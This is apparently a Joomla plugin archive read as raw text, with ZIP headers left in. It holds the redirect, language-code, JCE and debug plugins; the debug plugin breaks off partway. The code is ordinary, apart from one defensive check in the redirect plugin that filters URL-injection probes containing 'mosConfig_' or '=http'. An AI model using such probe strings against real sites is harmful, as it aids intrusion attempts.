PK!�A�3��#akeebaactionlog/akeebaactionlog.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<!--
  ~ @package   akeebabackup
  ~ @copyright Copyright (c)2006-2019 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   GNU General Public License version 3, or later
  -->

<extension version="2.5.0" type="plugin" group="system" method="upgrade">
	<name>PLG_SYSTEM_AKEEBAACTIONLOG</name>
	<author>Nicholas K. Dionysopoulos</author>
	<authorEmail>nicholas@dionysopoulos.me</authorEmail>
	<authorUrl>http://www.akeebabackup.com</authorUrl>
	<copyright>Copyright (c)2006-2019 Nicholas K. Dionysopoulos</copyright>
	<license>GNU General Public License version 3, or later</license>
	<creationDate>2019-03-18</creationDate>
	<version>6.4.2.1</version>
	<description>PLG_AKEEBAACTIONLOG_XML_DESCRIPTION</description>
	<files>
		<filename plugin="akeebaactionlog">akeebaactionlog.php</filename>
		<filename>.htaccess</filename>
		<filename>web.config</filename>
	</files>
	<languages folder="language">
		<language tag="en-GB">en-GB/en-GB.plg_system_akeebaactionlog.ini</language>
		<language tag="en-GB">en-GB/en-GB.plg_system_akeebaactionlog.sys.ini</language>
	</languages>

	<scriptfile>script.php</scriptfile>
</extension>PK!�#o,,jce/fields/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!w�	�	jce/fields/mediajce.phpnu&1i�<?php
/**
 * @package     JCE
 *
 * @copyright   Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (C) 2017 Ryan Demmer All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

/**
 * Provides a modal media selector field for the JCE File Browser
 *
 * @since  2.6.17
 */
class JFormFieldMediaJce extends JFormFieldMedia
{
    /**
     * The form field type.
     *
     * @var    string
     */
    protected $type = 'MediaJce';

    /**
     * Method to attach a JForm object to the field.
     *
     * @param   SimpleXMLElement  $element  The SimpleXMLElement object representing the `<field>` tag for the form field object.
     * @param   mixed             $value    The form field value to validate.
     * @param   string            $group    The field name group control value. This acts as an array container for the field.
     *                                      For example if the field has name="foo" and the group value is set to "bar" then the
     *                                      full field name would end up being "bar[foo]".
     *
     * @return  boolean  True on success.
     *
     * @see     JFormField::setup()
     */
    public function setup(SimpleXMLElement $element, $value, $group = null)
    {
        $result = parent::setup($element, $value, $group);

        if ($result === true) {
            $this->mediatype = isset($this->element['mediatype']) ? (string) $this->element['mediatype'] : 'images';
        }

        return $result;
    }

    /**
     * Get the data that is going to be passed to the layout
     *
     * @return  array
     */
    public function getLayoutData()
    {
        // Include jQuery
        JHtml::_('jquery.framework');

        $document = JFactory::getDocument();
        $document->addScriptDeclaration('jQuery(document).ready(function($){$(".wf-media-input").removeAttr("readonly");});');
        $document->addStyleSheet(JURI::root(true) . '/plugins/system/jce/css/media.css');

        require_once JPATH_ADMINISTRATOR . '/components/com_jce/helpers/browser.php';
        $this->link = WFBrowserHelper::getMediaFieldLink('', $this->mediatype);

        // Get the basic field data
        $data = parent::getLayoutData();

        $extraData = array(
            'link'      => $this->link,
            'class'     => $this->element['class'] . ' input-large wf-media-input'
        );

        return array_merge($data, $extraData);
    }
}
PK!˳"��jce/jce.phpnu&1i�<?php

/**
 * @copyright   Copyright (C) 2015 Ryan Demmer. All rights reserved
 * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved
 * @license     GNU General Public License version 2 or later
 */
defined('JPATH_BASE') or die;

/**
 * JCE.
 *
 * @since       2.5.5
 */
class PlgSystemJce extends JPlugin
{
    public function onPlgSystemJceContentPrepareForm($form, $data)
    {
        return $this->onContentPrepareForm($form, $data);
    }

    /**
     * adds additional fields to the user editing form.
     *
     * @param JForm $form The form to be altered
     * @param mixed $data The associated data for the form
     *
     * @return bool
     *
     * @since   2.5.20
     */
    public function onContentPrepareForm($form, $data)
    {
        $app = JFactory::getApplication();

        $version = new JVersion();

        if (!$version->isCompatible('3.4')) {
            return true;
        }

        if (!($form instanceof JForm)) {
            $this->_subject->setError('JERROR_NOT_A_FORM');

            return false;
        }

        $params = JComponentHelper::getParams('com_jce');

        if ((bool) $params->get('replace_media_manager', 1) === false) {
            return;
        }

        // get form name.
        $name = $form->getName();

        if (!$version->isCompatible('3.6')) {
            $valid = array(
                'com_content.article',
                'com_categories.categorycom_content',
                'com_templates.style',
                'com_tags.tag',
                'com_banners.banner',
                'com_contact.contact',
                'com_newsfeeds.newsfeed',
            );

            // only allow some forms, see - https://github.com/joomla/joomla-cms/pull/8657
            if (!in_array($name, $valid)) {
                return true;
            }
        }

        $config = JFactory::getConfig();
        $user = JFactory::getUser();

        if ($user->getParam('editor', $config->get('editor')) !== 'jce') {
            return true;
        }

        if (!JPluginHelper::getPlugin('editors', 'jce')) {
            return true;
        }

        $hasMedia = false;
        $fields = $form->getFieldset();

        foreach ($fields as $field) {
            if (method_exists($field, 'getAttribute') === false) {
                continue;
            }

            $name = $field->getAttribute('name');

            // avoid processing twice
            if (strpos($form->getFieldAttribute($name, 'class'), 'wf-media-input') !== false) {
                continue;
            }

            $type = $field->getAttribute('type');

            if (strtolower($type) === 'media') {
                $group = (string) $field->group;
                $form->setFieldAttribute($name, 'type', 'mediajce', $group);
                $hasMedia = true;
            }
        }
        
        // form has a converted media field
        if ($hasMedia) {
            $form->addFieldPath(JPATH_PLUGINS . '/system/jce/fields');
        }

        return true;
    }
}
PK!Z�\a��jce/jce.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension version="1.6" type="plugin" group="system" method="upgrade">
  <name>plg_system_jce</name>
  <version>2.6.38</version>
  <creationDate>14-03-2019</creationDate>
  <author>Ryan Demmer</author>
  <authorEmail>info@joomlacontenteditor.net</authorEmail>
  <authorUrl>http://www.joomlacontenteditor.net</authorUrl>
  <copyright>Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved</copyright>
  <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
  <description>PLG_SYSTEM_JCE_XML_DESCRIPTION</description>
  <files folder="plugins/system/jce">
    <file plugin="jce">jce.php</file>
    <folder>css</folder>
    <folder>fields</folder>
  </files>
  <languages folder="administrator/language/en-GB">
      <language tag="en-GB">en-GB.plg_system_jce.ini</language>
      <language tag="en-GB">en-GB.plg_system_jce.sys.ini</language>
  </languages>
</extension>
PK!�<��jce/css/media.cssnu&1i�.field-media-wrapper .modal{height:90vh}.field-media-wrapper .modal .modal-body{max-height:100%!important}.field-media-wrapper .modal .modal-body iframe{height:calc(90vh - 120px)!important}PK!�#o,,jce/css/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!Ll)���languagecode/languagecode.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" group="system" method="upgrade">
	<name>plg_system_languagecode</name>
	<author>Joomla! Project</author>
	<creationDate>November 2011</creationDate>
	<copyright>(C) 2011 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_SYSTEM_LANGUAGECODE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="languagecode">languagecode.php</filename>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/en-GB.plg_system_languagecode.ini</language>
		<language tag="en-GB">language/en-GB/en-GB.plg_system_languagecode.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<field
				name="languagecodeplugin"
				type="hidden"
				default="true"
			/>
		</fields>
	</config>
</extension>
PK!�ZuR��languagecode/languagecode.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.languagecode
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Form\Form;
use Joomla\CMS\Language\LanguageHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\CMSPlugin;

/**
 * Language Code plugin class.
 *
 * @since  2.5
 */
class PlgSystemLanguagecode extends CMSPlugin
{
	/**
	 * Application object
	 *
	 * @var    \Joomla\CMS\Application\CMSApplication
	 * @since  4.0.0
	 */
	protected $app;

	/**
	 * Plugin that changes the language code used in the <html /> tag.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function onAfterRender()
	{
		// Use this plugin only in site application.
		if ($this->app->isClient('site'))
		{
			// Get the response body.
			$body = $this->app->getBody();

			// Get the current language code.
			$code = $this->app->getDocument()->getLanguage();

			// Get the new code.
			$new_code  = $this->params->get($code);

			// Replace the old code by the new code in the <html /> tag.
			if ($new_code)
			{
				// Replace the new code in the HTML document.
				$patterns = array(
					chr(1) . '(<html.*\s+xml:lang=")(' . $code . ')(".*>)' . chr(1) . 'i',
					chr(1) . '(<html.*\s+lang=")(' . $code . ')(".*>)' . chr(1) . 'i',
				);
				$replace = array(
					'${1}' . strtolower($new_code) . '${3}',
					'${1}' . strtolower($new_code) . '${3}',
				);
			}
			else
			{
				$patterns = array();
				$replace  = array();
			}

			// Replace codes in <link hreflang="" /> attributes.
			preg_match_all(chr(1) . '(<link.*\s+hreflang=")([0-9a-z\-]*)(".*\s+rel="alternate".*>)' . chr(1) . 'i', $body, $matches);

			foreach ($matches[2] as $match)
			{
				$new_code = $this->params->get(strtolower($match));

				if ($new_code)
				{
					$patterns[] = chr(1) . '(<link.*\s+hreflang=")(' . $match . ')(".*\s+rel="alternate".*>)' . chr(1) . 'i';
					$replace[] = '${1}' . $new_code . '${3}';
				}
			}

			preg_match_all(chr(1) . '(<link.*\s+rel="alternate".*\s+hreflang=")([0-9A-Za-z\-]*)(".*>)' . chr(1) . 'i', $body, $matches);

			foreach ($matches[2] as $match)
			{
				$new_code = $this->params->get(strtolower($match));

				if ($new_code)
				{
					$patterns[] = chr(1) . '(<link.*\s+rel="alternate".*\s+hreflang=")(' . $match . ')(".*>)' . chr(1) . 'i';
					$replace[] = '${1}' . $new_code . '${3}';
				}
			}

			// Replace codes in itemprop content
			preg_match_all(chr(1) . '(<meta.*\s+itemprop="inLanguage".*\s+content=")([0-9A-Za-z\-]*)(".*>)' . chr(1) . 'i', $body, $matches);

			foreach ($matches[2] as $match)
			{
				$new_code = $this->params->get(strtolower($match));

				if ($new_code)
				{
					$patterns[] = chr(1) . '(<meta.*\s+itemprop="inLanguage".*\s+content=")(' . $match . ')(".*>)' . chr(1) . 'i';
					$replace[] = '${1}' . $new_code . '${3}';
				}
			}

			$this->app->setBody(preg_replace($patterns, $replace, $body));
		}
	}

	/**
	 * Prepare form.
	 *
	 * @param   Form   $form  The form to be altered.
	 * @param   mixed  $data  The associated data for the form.
	 *
	 * @return  boolean
	 *
	 * @since	2.5
	 */
	public function onContentPrepareForm(Form $form, $data)
	{
		// Check we are manipulating the languagecode plugin.
		if ($form->getName() !== 'com_plugins.plugin' || !$form->getField('languagecodeplugin', 'params'))
		{
			return true;
		}

		// Get site languages.
		if ($languages = LanguageHelper::getKnownLanguages(JPATH_SITE))
		{
			// Inject fields into the form.
			foreach ($languages as $tag => $language)
			{
				$form->load('
					<form>
						<fields name="params">
							<fieldset
								name="languagecode"
								label="PLG_SYSTEM_LANGUAGECODE_FIELDSET_LABEL"
								description="PLG_SYSTEM_LANGUAGECODE_FIELDSET_DESC"
							>
								<field
									name="' . strtolower($tag) . '"
									type="text"
									label="' . $tag . '"
									description="' . htmlspecialchars(Text::sprintf('PLG_SYSTEM_LANGUAGECODE_FIELD_DESC', $language['name']), ENT_COMPAT, 'UTF-8') . '"
									translate_description="false"
									translate_label="false"
									size="7"
									filter="cmd"
								/>
							</fieldset>
						</fields>
					</form>'
				);
			}
		}

		return true;
	}
}
PK!o���Alanguagecode/language/en-GB/en-GB.plg_system_languagecode.sys.ininu�[���; Joomla! Project
; (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
; License GNU General Public License version 2 or later; see LICENSE.txt
; Note : All ini files need to be saved as UTF-8

PLG_SYSTEM_LANGUAGECODE="System - Language Code"
PLG_SYSTEM_LANGUAGECODE_XML_DESCRIPTION="Provides ability to change the language code in the generated HTML document to improve SEO"

PK!�����=languagecode/language/en-GB/en-GB.plg_system_languagecode.ininu�[���; Joomla! Project
; (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
; License GNU General Public License version 2 or later; see LICENSE.txt
; Note : All ini files need to be saved as UTF-8

PLG_SYSTEM_LANGUAGECODE="System - Language Code"
PLG_SYSTEM_LANGUAGECODE_FIELD_DESC="Changes the language code used for the <em>%s</em> language."
PLG_SYSTEM_LANGUAGECODE_FIELDSET_DESC="Changes the language code for the generated HTML document. Example usage: You have installed the fr-FR language pack and want the Search Engines to recognise the page as aimed at French-speaking Canada. Add the tag 'fr-CA' to the corresponding field for 'fr-FR' to resolve this."
PLG_SYSTEM_LANGUAGECODE_FIELDSET_LABEL="Language codes"
PLG_SYSTEM_LANGUAGECODE_XML_DESCRIPTION="Provides the ability to change the language code in the generated HTML document to improve SEO.<br />The fields will appear when the plugin is enabled and saved."
PK!�E��redirect/redirect.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" group="system" method="upgrade">
	<name>plg_system_redirect</name>
	<author>Joomla! Project</author>
	<creationDate>April 2009</creationDate>
	<copyright>(C) 2009 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_SYSTEM_REDIRECT_XML_DESCRIPTION</description>
	<files>
		<folder>form</folder>
		<filename plugin="redirect">redirect.php</filename>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/plg_system_redirect.ini</language>
		<language tag="en-GB">language/en-GB/plg_system_redirect.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="collect_urls"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="PLG_SYSTEM_REDIRECT_FIELD_COLLECT_URLS_LABEL"
					default="1"
					filter="integer"
					>
					<option value="0">JDISABLED</option>
					<option value="1">JENABLED</option>
				</field>
				<field
					name="includeUrl"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="PLG_SYSTEM_REDIRECT_FIELD_STORE_FULL_URL_LABEL"
					default="1"
					filter="integer"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field
					name="exclude_urls"
					type="subform"
					label="PLG_SYSTEM_REDIRECT_FIELD_EXCLUDE_URLS_LABEL"
					multiple="true"
					formsource="plugins/system/redirect/form/excludes.xml"
					layout="joomla.form.field.subform.repeatable-table"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK!��x��redirect/redirect.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.redirect
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Event\ErrorEvent;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\CMSPlugin;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
use Joomla\Database\DatabaseInterface;
use Joomla\Database\ParameterType;
use Joomla\Event\SubscriberInterface;
use Joomla\String\StringHelper;

/**
 * Plugin class for redirect handling.
 *
 * @since  1.6
 */
class PlgSystemRedirect extends CMSPlugin implements SubscriberInterface
{
	/**
	 * Affects constructor behavior. If true, language files will be loaded automatically.
	 *
	 * @var    boolean
	 * @since  3.4
	 */
	protected $autoloadLanguage = false;

	/**
	 * Database object.
	 *
	 * @var    DatabaseInterface
	 * @since  4.0.0
	 */
	protected $db;

	/**
	 * Returns an array of events this subscriber will listen to.
	 *
	 * @return  array
	 *
	 * @since   4.0.0
	 */
	public static function getSubscribedEvents(): array
	{
		return [
			'onError' => 'handleError',
		];
	}

	/**
	 * Internal processor for all error handlers
	 *
	 * @param   ErrorEvent  $event  The event object
	 *
	 * @return  void
	 *
	 * @since   3.5
	 */
	public function handleError(ErrorEvent $event)
	{
		/** @var \Joomla\CMS\Application\CMSApplication $app */
		$app = $event->getApplication();

		if ($app->isClient('administrator') || ((int) $event->getError()->getCode() !== 404))
		{
			return;
		}

		$uri = Uri::getInstance();

		// These are the original URLs
		$orgurl                = rawurldecode($uri->toString(array('scheme', 'host', 'port', 'path', 'query', 'fragment')));
		$orgurlRel             = rawurldecode($uri->toString(array('path', 'query', 'fragment')));

		// The above doesn't work for sub directories, so do this
		$orgurlRootRel         = str_replace(Uri::root(), '', $orgurl);

		// For when users have added / to the url
		$orgurlRootRelSlash    = str_replace(Uri::root(), '/', $orgurl);
		$orgurlWithoutQuery    = rawurldecode($uri->toString(array('scheme', 'host', 'port', 'path', 'fragment')));
		$orgurlRelWithoutQuery = rawurldecode($uri->toString(array('path', 'fragment')));

		// These are the URLs we save and use
		$url                = StringHelper::strtolower(rawurldecode($uri->toString(array('scheme', 'host', 'port', 'path', 'query', 'fragment'))));
		$urlRel             = StringHelper::strtolower(rawurldecode($uri->toString(array('path', 'query', 'fragment'))));

		// The above doesn't work for sub directories, so do this
		$urlRootRel         = str_replace(Uri::root(), '', $url);

		// For when users have added / to the url
		$urlRootRelSlash    = str_replace(Uri::root(), '/', $url);
		$urlWithoutQuery    = StringHelper::strtolower(rawurldecode($uri->toString(array('scheme', 'host', 'port', 'path', 'fragment'))));
		$urlRelWithoutQuery = StringHelper::strtolower(rawurldecode($uri->toString(array('path', 'fragment'))));

		$excludes = (array) $this->params->get('exclude_urls');

		$skipUrl = false;

		foreach ($excludes as $exclude)
		{
			if (empty($exclude->term))
			{
				continue;
			}

			if (!empty($exclude->regexp))
			{
				// Only check $url, because it includes all other sub urls
				if (preg_match('/' . $exclude->term . '/i', $orgurlRel))
				{
					$skipUrl = true;
					break;
				}
			}
			else
			{
				if (StringHelper::strpos($orgurlRel, $exclude->term) !== false)
				{
					$skipUrl = true;
					break;
				}
			}
		}

		/**
		 * Why is this (still) here?
		 * Because hackers still try urls with mosConfig_* and Url Injection with =http[s]:// and we dont want to log/redirect these requests
		 */
		if ($skipUrl || (strpos($url, 'mosConfig_') !== false) || (strpos($url, '=http') !== false))
		{
			return;
		}

		$query = $this->db->getQuery(true);

		$query->select('*')
			->from($this->db->quoteName('#__redirect_links'))
			->whereIn(
				$this->db->quoteName('old_url'),
				[
					$url,
					$urlRel,
					$urlRootRel,
					$urlRootRelSlash,
					$urlWithoutQuery,
					$urlRelWithoutQuery,
					$orgurl,
					$orgurlRel,
					$orgurlRootRel,
					$orgurlRootRelSlash,
					$orgurlWithoutQuery,
					$orgurlRelWithoutQuery,
				],
				ParameterType::STRING
			);

		$this->db->setQuery($query);

		$redirect = null;

		try
		{
			$redirects = $this->db->loadAssocList();
		}
		catch (Exception $e)
		{
			$event->setError(new Exception(Text::_('PLG_SYSTEM_REDIRECT_ERROR_UPDATING_DATABASE'), 500, $e));

			return;
		}

		$possibleMatches = array_unique(
			array(
				$url,
				$urlRel,
				$urlRootRel,
				$urlRootRelSlash,
				$urlWithoutQuery,
				$urlRelWithoutQuery,
				$orgurl,
				$orgurlRel,
				$orgurlRootRel,
				$orgurlRootRelSlash,
				$orgurlWithoutQuery,
				$orgurlRelWithoutQuery,
			)
		);

		foreach ($possibleMatches as $match)
		{
			if (($index = array_search($match, array_column($redirects, 'old_url'))) !== false)
			{
				$redirect = (object) $redirects[$index];

				if ((int) $redirect->published === 1)
				{
					break;
				}
			}
		}

		// A redirect object was found and, if published, will be used
		if ($redirect !== null && ((int) $redirect->published === 1))
		{
			if (!$redirect->header || (bool) ComponentHelper::getParams('com_redirect')->get('mode', false) === false)
			{
				$redirect->header = 301;
			}

			if ($redirect->header < 400 && $redirect->header >= 300)
			{
				$urlQuery = $uri->getQuery();

				$oldUrlParts = parse_url($redirect->old_url);

				if ($urlQuery !== '' && empty($oldUrlParts['query']))
				{
					$redirect->new_url .= '?' . $urlQuery;
				}

				$dest = Uri::isInternal($redirect->new_url) || strpos($redirect->new_url, 'http') === false ?
					Route::_($redirect->new_url) : $redirect->new_url;

				// In case the url contains double // lets remove it
				$destination = str_replace(Uri::root() . '/', Uri::root(), $dest);

				$app->redirect($destination, (int) $redirect->header);
			}

			$event->setError(new RuntimeException($event->getError()->getMessage(), $redirect->header, $event->getError()));
		}
		// No redirect object was found so we create an entry in the redirect table
		elseif ($redirect === null)
		{
			if ((bool) $this->params->get('collect_urls', 1))
			{
				if (!$this->params->get('includeUrl', 1))
				{
					$url = $urlRel;
				}

				$nowDate = Factory::getDate()->toSql();

				$data = (object) array(
					'id' => 0,
					'old_url' => $url,
					'referer' => $app->input->server->getString('HTTP_REFERER', ''),
					'hits' => 1,
					'published' => 0,
					'created_date' => $nowDate,
					'modified_date' => $nowDate,
				);

				try
				{
					$this->db->insertObject('#__redirect_links', $data, 'id');
				}
				catch (Exception $e)
				{
					$event->setError(new Exception(Text::_('PLG_SYSTEM_REDIRECT_ERROR_UPDATING_DATABASE'), 500, $e));

					return;
				}
			}
		}
		// We have an unpublished redirect object, increment the hit counter
		else
		{
			$redirect->hits++;

			try
			{
				$this->db->updateObject('#__redirect_links', $redirect, ['id']);
			}
			catch (Exception $e)
			{
				$event->setError(new Exception(Text::_('PLG_SYSTEM_REDIRECT_ERROR_UPDATING_DATABASE'), 500, $e));

				return;
			}
		}
	}
}
PK!�����redirect/form/excludes.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset>
		<field
			name="term"
			type="text"
			label="PLG_SYSTEM_REDIRECT_FIELD_EXCLUDE_URLS_TERM_LABEL"
			description="PLG_SYSTEM_REDIRECT_FIELD_EXCLUDE_URLS_TERM_DESC"
			required="true"
		/>
		<field
			name="regexp"
			type="checkbox"
			label="PLG_SYSTEM_REDIRECT_FIELD_EXCLUDE_URLS_REGEXP_LABEL"
			filter="integer"
		/>
	</fieldset>
</form>
PK!)�c�;�;debug/debug.phpnu&1i�<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.Debug
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use DebugBar\DataCollector\MemoryCollector;
use DebugBar\DataCollector\MessagesCollector;
use DebugBar\DataCollector\RequestDataCollector;
use DebugBar\DebugBar;
use DebugBar\OpenHandler;
use Joomla\CMS\Application\CMSApplicationInterface;
use Joomla\CMS\Document\HtmlDocument;
use Joomla\CMS\Log\Log;
use Joomla\CMS\Log\LogEntry;
use Joomla\CMS\Plugin\CMSPlugin;
use Joomla\CMS\Session\Session;
use Joomla\CMS\Uri\Uri;
use Joomla\Database\DatabaseDriver;
use Joomla\Database\Event\ConnectionEvent;
use Joomla\Event\DispatcherInterface;
use Joomla\Plugin\System\Debug\DataCollector\InfoCollector;
use Joomla\Plugin\System\Debug\DataCollector\LanguageErrorsCollector;
use Joomla\Plugin\System\Debug\DataCollector\LanguageFilesCollector;
use Joomla\Plugin\System\Debug\DataCollector\LanguageStringsCollector;
use Joomla\Plugin\System\Debug\DataCollector\ProfileCollector;
use Joomla\Plugin\System\Debug\DataCollector\QueryCollector;
use Joomla\Plugin\System\Debug\DataCollector\SessionCollector;
use Joomla\Plugin\System\Debug\JavascriptRenderer;
use Joomla\Plugin\System\Debug\Storage\FileStorage;

/**
 * Joomla! Debug plugin.
 *
 * @since  1.5
 */
class PlgSystemDebug extends CMSPlugin
{
	/**
	 * True if debug lang is on.
	 *
	 * @var    boolean
	 * @since  3.0
	 */
	private $debugLang = false;

	/**
	 * Holds log entries handled by the plugin.
	 *
	 * @var    LogEntry[]
	 * @since  3.1
	 */
	private $logEntries = [];

	/**
	 * Holds SHOW PROFILES of queries.
	 *
	 * @var    array
	 * @since  3.1.2
	 */
	private $sqlShowProfiles = [];

	/**
	 * Holds all SHOW PROFILE FOR QUERY n, indexed by n-1.
	 *
	 * @var    array
	 * @since  3.1.2
	 */
	private $sqlShowProfileEach = [];

	/**
	 * Holds all EXPLAIN EXTENDED for all queries.
	 *
	 * @var    array
	 * @since  3.1.2
	 */
	private $explains = [];

	/**
	 * Holds total amount of executed queries.
	 *
	 * @var    int
	 * @since  3.2
	 */
	private $totalQueries = 0;

	/**
	 * Application object.
	 *
	 * @var    CMSApplicationInterface
	 * @since  3.3
	 */
	protected $app;

	/**
	 * Database object.
	 *
	 * @var    DatabaseDriver
	 * @since  3.8.0
	 */
	protected $db;

	/**
	 * @var DebugBar
	 * @since 4.0.0
	 */
	private $debugBar;

	/**
	 * The query monitor.
	 *
	 * @var    \Joomla\Database\Monitor\DebugMonitor
	 * @since  4.0.0
	 */
	private $queryMonitor;

	/**
	 * AJAX marker
	 *
	 * @var   bool
	 * @since 4.0.0
	 */
	protected $isAjax = false;

	/**
	 * Whether displaing a logs is enabled
	 *
	 * @var   bool
	 * @since 4.0.0
	 */
	protected $showLogs = false;

	/**
	 * Constructor.
	 *
	 * @param   DispatcherInterface  &$subject  The object to observe.
	 * @param   array                $config    An optional associative array of configuration settings.
	 *
	 * @since   1.5
	 */
	public function __construct(&$subject, $config)
	{
		parent::__construct($subject, $config);

		$this->debugLang = $this->app->get('debug_lang');

		// Skip the plugin if debug is off
		if (!$this->debugLang && !$this->app->get('debug'))
		{
			return;
		}

		$this->app->getConfig()->set('gzip', false);
		ob_start();
		ob_implicit_flush(false);

		/** @var \Joomla\Database\Monitor\DebugMonitor */
		$this->queryMonitor = $this->db->getMonitor();

		if (!$this->params->get('queries', 1))
		{
			// Remove the database driver monitor
			$this->db->setMonitor(null);
		}

		$storagePath = JPATH_CACHE . '/plg_system_debug_' . $this->app->getName();

		$this->debugBar = new DebugBar;
		$this->debugBar->setStorage(new FileStorage($storagePath));

		$this->isAjax = $this->app->input->get('option') === 'com_ajax'
			&& $this->app->input->get('plugin') === 'debug' && $this->app->input->get('group') === 'system';

		$this->showLogs = (bool) $this->params->get('logs', false);

		// Log deprecated class aliases
		if ($this->showLogs && $this->app->get('log_deprecated'))
		{
			foreach (JLoader::getDeprecatedAliases() as $deprecation)
			{
				Log::add(
					sprintf(
						'%1$s has been aliased to %2$s and the former class name is deprecated. The alias will be removed in %3$s.',
						$deprecation['old'],
						$deprecation['new'],
						$deprecation['version']
					),
					Log::WARNING,
					'deprecation-notes'
				);
			}
		}
	}

	/**
	 * Add an assets for debugger.
	 *
	 * @return  void
	 *
	 * @since   4.0.0
	 */
	public function onBeforeCompileHead()
	{
		// Only if debugging or language debug is enabled.
		if ((JDEBUG || $this->debugLang) && $this->isAuthorisedDisplayDebug() && $this->app->getDocument() instanceof HtmlDocument)
		{
			// Use our own jQuery and fontawesome instead of the debug bar shipped version
			$assetManager = $this->app->getDocument()->getWebAssetManager();
			$assetManager->registerAndUseStyle(
				'plg.system.debug',
				'plg_system_debug/debug.css',
				[],
				[],
				['fontawesome']
			);
			$assetManager->registerAndUseScript(
				'plg.system.debug',
				'plg_system_debug/debug.min.js',
				[],
				['defer' => true],
				['jquery']
			);
		}

		// Disable asset media version if needed.
		if (JDEBUG && (int) $this->params->get('refresh_assets', 1) === 0)
		{
			$this->app->getDocument()->setMediaVersion(null);
		}
	}

	/**
	 * Show the debug info.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function onAfterRespond()
	{
		// Do not render if debugging or language debug is not enabled.
		if (!JDEBUG && !$this->debugLang || $this->isAjax || !($this->app->getDocument() instanceof HtmlDocument))
		{
			return;
		}

		// User has to be authorised to see the debug information.
		if (!$this->isAuthorisedDisplayDebug())
		{
			return;
		}

		// Load language.
		$this->loadLanguage();

		$this->debugBar->addCollector(new InfoCollector($this->params, $this->debugBar->getCurrentRequestId()));

		if (JDEBUG)
		{
			if ($this->params->get('memory', 1))
			{
				$this->debugBar->addCollector(new MemoryCollector);
			}

			if ($this->params->get('request', 1))
			{
				$this->debugBar->addCollector(new RequestDataCollector);
			}

			if ($this->params->get('session', 1))
			{
				$this->debugBar->addCollector(new SessionCollector($this->params));
			}

			if ($this->params->get('profile', 1))
			{
				$this->debugBar->addCollector(new ProfileCollector($this->params));
			}

			if ($this->params->get('queries', 1))
			{
				// Call $db->disconnect() here to trigger the onAfterDisconnect() method here in this class!
				$this->db->disconnect();
				$this->debugBar->addCollector(new QueryCollector($this->params, $this->queryMonitor, $this->sqlShowProfileEach, $this->explains));
			}

			if ($this->showLogs)
			{
				$this->collectLogs();
			}
		}

		if ($this->debugLang)
		{
			$this->debugBar->addCollector(new LanguageFilesCollector($this->params));
			$this->debugBar->addCollector(new LanguageStringsCollector($this->params));
			$this->debugBar->addCollector(new LanguageErrorsCollector($this->params));
		}

		// Only render for HTML output.
		if (!($this->app->getDocument() instanceof HtmlDocument))
		{
			$this->debugBar->stackData();

			return;
		}

		$debugBarRenderer = new JavascriptRenderer($this->debugBar, Uri::root(true) . '/media/vendor/debugbar/');
		$openHandlerUrl   = Uri::base(true) . '/index.php?option=com_ajax&plugin=debug&group=system&format=raw&action=openhandler';
		$openHandlerUrl  .= '&' . Session::getFormToken() . '=1';

		$debugBarRenderer->setOpenHandlerUrl($openHandlerUrl);

		/**
		 * @todo disable highlightjs from the DebugBar, import it through NPM
		 *       and deliver it through Joomla's API
		 *       Also every DebugBar script and stylesheet needs to use Joomla's API
		 *       $debugBarRenderer->disableVendor('highlightjs');
		 */

		// Capture output.
		$contents = ob_get_contents();

		if ($contents)
		{
			ob_end_clean();
		}

		// No debug for Safari and Chrome redirection.
